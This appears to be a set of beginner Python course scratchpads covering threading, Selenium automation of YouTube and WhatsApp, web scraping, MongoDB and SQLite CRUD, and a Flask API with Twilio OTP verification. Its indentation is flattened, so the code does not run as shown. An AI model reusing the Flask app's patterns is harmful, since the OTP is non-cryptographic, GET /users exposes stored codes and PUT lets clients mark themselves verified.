# # start_time = datetime.now()
# # t1.start()
# # t2.start()
# # t3.start()
# # t4.start()
# # t1.join()
# # t2.join()
# # t3.join()
# # t4.join()
# # print(f"Total time taken: {datetime.now() - start_time}")
# p1 = multiprocessing.Process(target=dummy_func, args=(1,))
# p2 = multiprocessing.Process(target=dummy_func, args=(2,))
# p3 = multiprocessing.Process(target=dummy_func, args=(3,))
# p4 = multiprocessing.Process(target=dummy_func, args=(4,))
# start_time = datetime.now()
# p1.start()
# p2.start()
# p3.start()
# p4.start()
# p1.join()
# p2.join()
# p3.join()
# p4.join()
# print(f"Total time taken: {datetime.now() - start_time}")
# -----------------------------
# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep
# browser = webdriver.Chrome("chromedriver.exe")
# sleep(30)
Scratchpad #16
# # from selenium import webdriver
# # from selenium.webdriver.common.keys import Keys
# # from selenium.webdriver.common.by import By
# # from time import sleep
# # browser = webdriver.Chrome()
# # browser.maximize_window()
# # browser.get("https://www.youtube.com/")
# # sleep(3)
# # search_box = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input")
# # search_box.click()
# # search_box.send_keys("omg 2 trailer", Keys.ENTER)
# # sleep(3)
# # video = browser.find_element(By.PARTIAL_LINK_TEXT, "OMG 2 - Official Teaser")
# # video.click()
# # sleep(3)
# # browser.back()
# # # video = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string")
# # # video.click()
# # sleep(10)
# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep
# from random import choice
# times = [1,4,8,3,3]
# browser = webdriver.Chrome()
# browser.maximize_window()
# browser.get("https://web.whatsapp.com/")
# sleep(20)
# search_box = browser.find_element(By.XPATH, "/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p")
# search_box.click()
# sleep(1)
# search_box.send_keys("PYTHON Sunday RS 16/4/23", Keys.ENTER)
# sleep(2)
# for _ in range(100):
# message_box = browser.find_element(By.XPATH, "/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p")
# message_box.click()
# message_box.send_keys("Test message", Keys.ENTER)
# sleep(10)
# data = """
# <html>
# <head>
# <title>My Webapp</title>
# </head>
# <body>
# <h1>Hello World</h1>
# <div class="data-area">
# <p>
# Lorem ipsum dolor sit <strong>amet consectetur</strong> adipisicing
# elit. Minus voluptatem eum aut! Nulla, quae assumenda nam optio corporis
# eos cupiditate dolorum quia eligendi, hic totam maxime saepe
# repudiandae! Reiciendis, nesciunt?
# </p>
# <p class="hello">
# Lorem ipsum dolor sit
# <a href="https://google.com">amet consectetur</a> adipisicing elit.
# Nemo, enim.
# </p>
# <p class="hello">Test message</p>
# <ul>
# <li id="special">Lorem ipsum dolor sit amet.</li>
# <li>Lorem ipsum dolor sit amet.</li>
# <li>Lorem ipsum dolor sit amet.</li>
# </ul>
# </div>
# </body>
# </html>
# """
# from bs4 import BeautifulSoup
# soup = BeautifulSoup(data, "html.parser")
# print(type(soup))
# print(soup.body.h1)
# print(soup.find("li"))
# print(soup.find_all("li"))
# print(soup.find(id="special"))
# print(soup.find_all(class_="hello"))
# print(soup.find_all(class_="hello")[1].get_text())
# print(soup.find("a").get_text())
# print(soup.find("a")["href"])
import requests
from bs4 import BeautifulSoup
from csv import writer
response = requests.get("https://arstechnica.com/")
soup = BeautifulSoup(response.text, "html.parser")
articles = soup.find_all(class_="article")
with open("articles.csv", "w", newline="") as file:
csv_writer = writer(file)
csv_writer.writerow(["Title", "Excerpt", "Author", "Date", "Link"])
for article in articles:
title = article.find("h2").get_text()
excerpt = article.find(class_="excerpt").get_text()
author = article.find("span").get_text()
date = article.find("time").get_text()
link = article.find("a")["href"]
csv_writer.writerow([title, excerpt, author, date, link])
# print(title)
# print(excerpt)
# print(author)
# print(date)
# print(link)
# print()
Scratchpad #17
import pymongo
client = pymongo.MongoClient()
mydb = client["mydb"] # db
users = mydb["users"] # coll
# user = {
# "name": "Jack Smith",
# "email": "jack@gmail.com",
# "age": 40
# }
# users.insert_one(user)
# new_user = {
# "name": "Jane Smith",
# "email": "janesmith@gmail.com",
# "age": 25
# }
# users.insert_one(new_user)
# all_users = users.find()
# for user in all_users:
# print(user)
# john_doe = users.find_one({"name": "John Doe"})
# print(john_doe)
# users.delete_one({"name": "John Doe"})
# result = users.find({"age": {"$gte": 28, "$lte": 40}})
# for user in result:
# print(user)
# -----------------------------------------------------------
from tkinter import *
from tkinter import ttk
from tkinter import messagebox
import sqlite3
class UserManagementSystem:
def __init__(self, master):
self.master = master
self.master.title("User Management System")
self.name_label = Label(master, text="Name:")
self.name_label.grid(row=0, column=0, padx=5, pady=5)
self.name_entry = Entry(master, width=30)
self.name_entry.grid(row=0, column=1, padx=5, pady=5)
self.email_label = Label(master, text="Email:")
self.email_label.grid(row=1, column=0, padx=5, pady=5)
self.email_entry = Entry(master, width=30)
self.email_entry.grid(row=1, column=1, padx=5, pady=5)
self.phone_label = Label(master, text="Phone:")
self.phone_label.grid(row=2, column=0, padx=5, pady=5)
self.phone_entry = Entry(master, width=30)
self.phone_entry.grid(row=2, column=1, padx=5, pady=5)
self.add_button = Button(master, text="Add User", command=self.add_user)
self.add_button.grid(row=3, column=0, padx=5, pady=5)
self.update_button = Button(master, text="Update User", command=self.update_user)
self.update_button.grid(row=3, column=1, padx=5, pady=5)
self.delete_button = Button(master, text="Delete User", command=self.delete_user)
self.delete_button.grid(row=3, column=2, padx=5, pady=5)
self.table = ttk.Treeview(master, columns=("id", "name", "email", "phone"), show="headings")
self.table.heading("id", text="ID")
self.table.heading("name", text="Name")
self.table.heading("email", text="Email")
self.table.heading("phone", text="Phone")
self.table.column("id", width=30)
self.table.column("name", width=150)
self.table.column("email", width=150)
self.table.column("phone", width=100)
self.table.grid(row=4, column=0, columnspan=3, padx=5, pady=5)
self.display_users()
def add_user(self):
name = self.name_entry.get()
email = self.email_entry.get()
phone = self.phone_entry.get()
if name == "" or email == "" or phone == "":
messagebox.showerror("Error", "Please enter all fields")
else:
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
cursor.execute("INSERT INTO User (name, email, phone) VALUES (?, ?, ?)", (name, email, phone))
conn.commit()
conn.close()
self.name_entry.delete(0, END)
self.email_entry.delete(0, END)
self.phone_entry.delete(0, END)
self.display_users()
messagebox.showinfo("Success", "User added successfully")
def update_user(self):
selected_user = self.table.focus()
if selected_user:
name = self.name_entry.get()
email = self.email_entry.get()
phone = self.phone_entry.get()
if name == "" or email == "" or phone == "":
messagebox.showerror("Error", "Please enter all fields")
else:
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
# Get the ID of the selected user
user_id = self.table.item(selected_user)["values"][0]
# Update the user in the data
cursor.execute("UPDATE User SET name=?, email=?, phone=? WHERE id=?", (name, email, phone, user_id))
conn.commit()
conn.close()
self.name_entry.delete(0, END)
self.email_entry.delete(0, END)
self.phone_entry.delete(0, END)
self.display_users()
messagebox.showinfo("Success", "User updated successfully")
else:
messagebox.showerror("Error", "Please select a user to update")
def delete_user(self):
selected_user = self.table.focus()
if selected_user:
confirmation = messagebox.askyesno("Confirmation", "Are you sure you want to delete this user?")
if confirmation:
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
# Get the ID of the selected user
user_id = self.table.item(selected_user)["values"][0]
cursor.execute("DELETE FROM User WHERE id=?", (user_id,))
conn.commit()
conn.close()
self.display_users()
messagebox.showinfo("Success", "User deleted successfully.")
else:
messagebox.showerror("Error", "Please select a user to delete")
def display_users(self):
# Clear the table first
for record in self.table.get_children():
self.table.delete(record)
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
cursor.execute("SELECT * FROM User")
rows = cursor.fetchall()
for row in rows:
self.table.insert("", END, values=row)
conn.close()
root = Tk()
user_management_system = UserManagementSystem(root)
root.mainloop()
Scratchpad Flask App
from flask import Flask, request, jsonify
from pymongo import MongoClient
from bson import ObjectId
from twilio.rest import Client
import random
app = Flask(__name__)
client = MongoClient()
db = client["pyusers_db"]
collection = db["users"]
# Twilio Credentials
account_sid = ""
auth_token = ""
twilio_phone_number = ""
twilio_client = Client(account_sid, auth_token)
# Generate a random OTP
def generate_otp():
return str(random.randint(1000, 9999))
@app.route("/")
def home():
return "API is running..."
# Create a new user document
@app.route("/users", methods=["POST"])
def create_user():
data = request.json
otp = generate_otp()
message = f"Your OTP for user registration is: {otp}"
twilio_client.messages.create(to=data["phone"], from_=twilio_phone_number, body=message)
data["otp"] = int(otp)
result = collection.insert_one(data)
return {"id": str(result.inserted_id)}, 201
# Verify the OTP and update the user record
@app.route("/users/verify_otp/<id>", methods=["POST"])
def verify_otp(id):
data = request.json
user = collection.find_one({"_id": ObjectId(id)})
if user is None:
return {"message": "User not found"}, 404
if user.get("verified", False):
return {"message": "User already verified"}, 400
if user["otp"] != int(data["otp"]):
return {"message": "Invalid OTP"}, 400
result = collection.update_one({"_id": ObjectId(id)}, {
"$set": {"verified": True},
"$unset": {"otp": ""}
})
if result.modified_count == 0:
return {"message": "User already verified"}, 404
return {"message": "User verified"}, 200
# Get all user documents
@app.route("/users", methods=["GET"])
def get_all_users():
data = list(collection.find())
for user in data:
user["_id"] = str(user["_id"])
return jsonify(data)
# Get a single user document by ID
@app.route("/users/<id>", methods=["GET"])
def get_user(id):
data = collection.find_one({"_id": ObjectId(id) })
if data is None:
return {"message": "User not found"}, 404
data["_id"] = str(data["_id"])
return jsonify(data)
# Update a user document by ID
@app.route("/users/<id>", methods=["PUT"])
def update_user(id):
data = request.json
result = collection.update_one({"_id": ObjectId(id)}, {"$set": data})
if result.modified_count == 0:
return {"message": "User not found"}, 404
return {"message": "User updated"}, 200
# Delete a user document by ID
@app.route("/users/<id>", methods=["DELETE"])
def delete_user(id):
result = collection.delete_one({"_id": ObjectId(id)})
if result.deleted_count == 0:
return {"message": "User not found"}, 404
return {"message": "User deleted"}, 200
if __name__ == "__main__":
app.run(debug=True)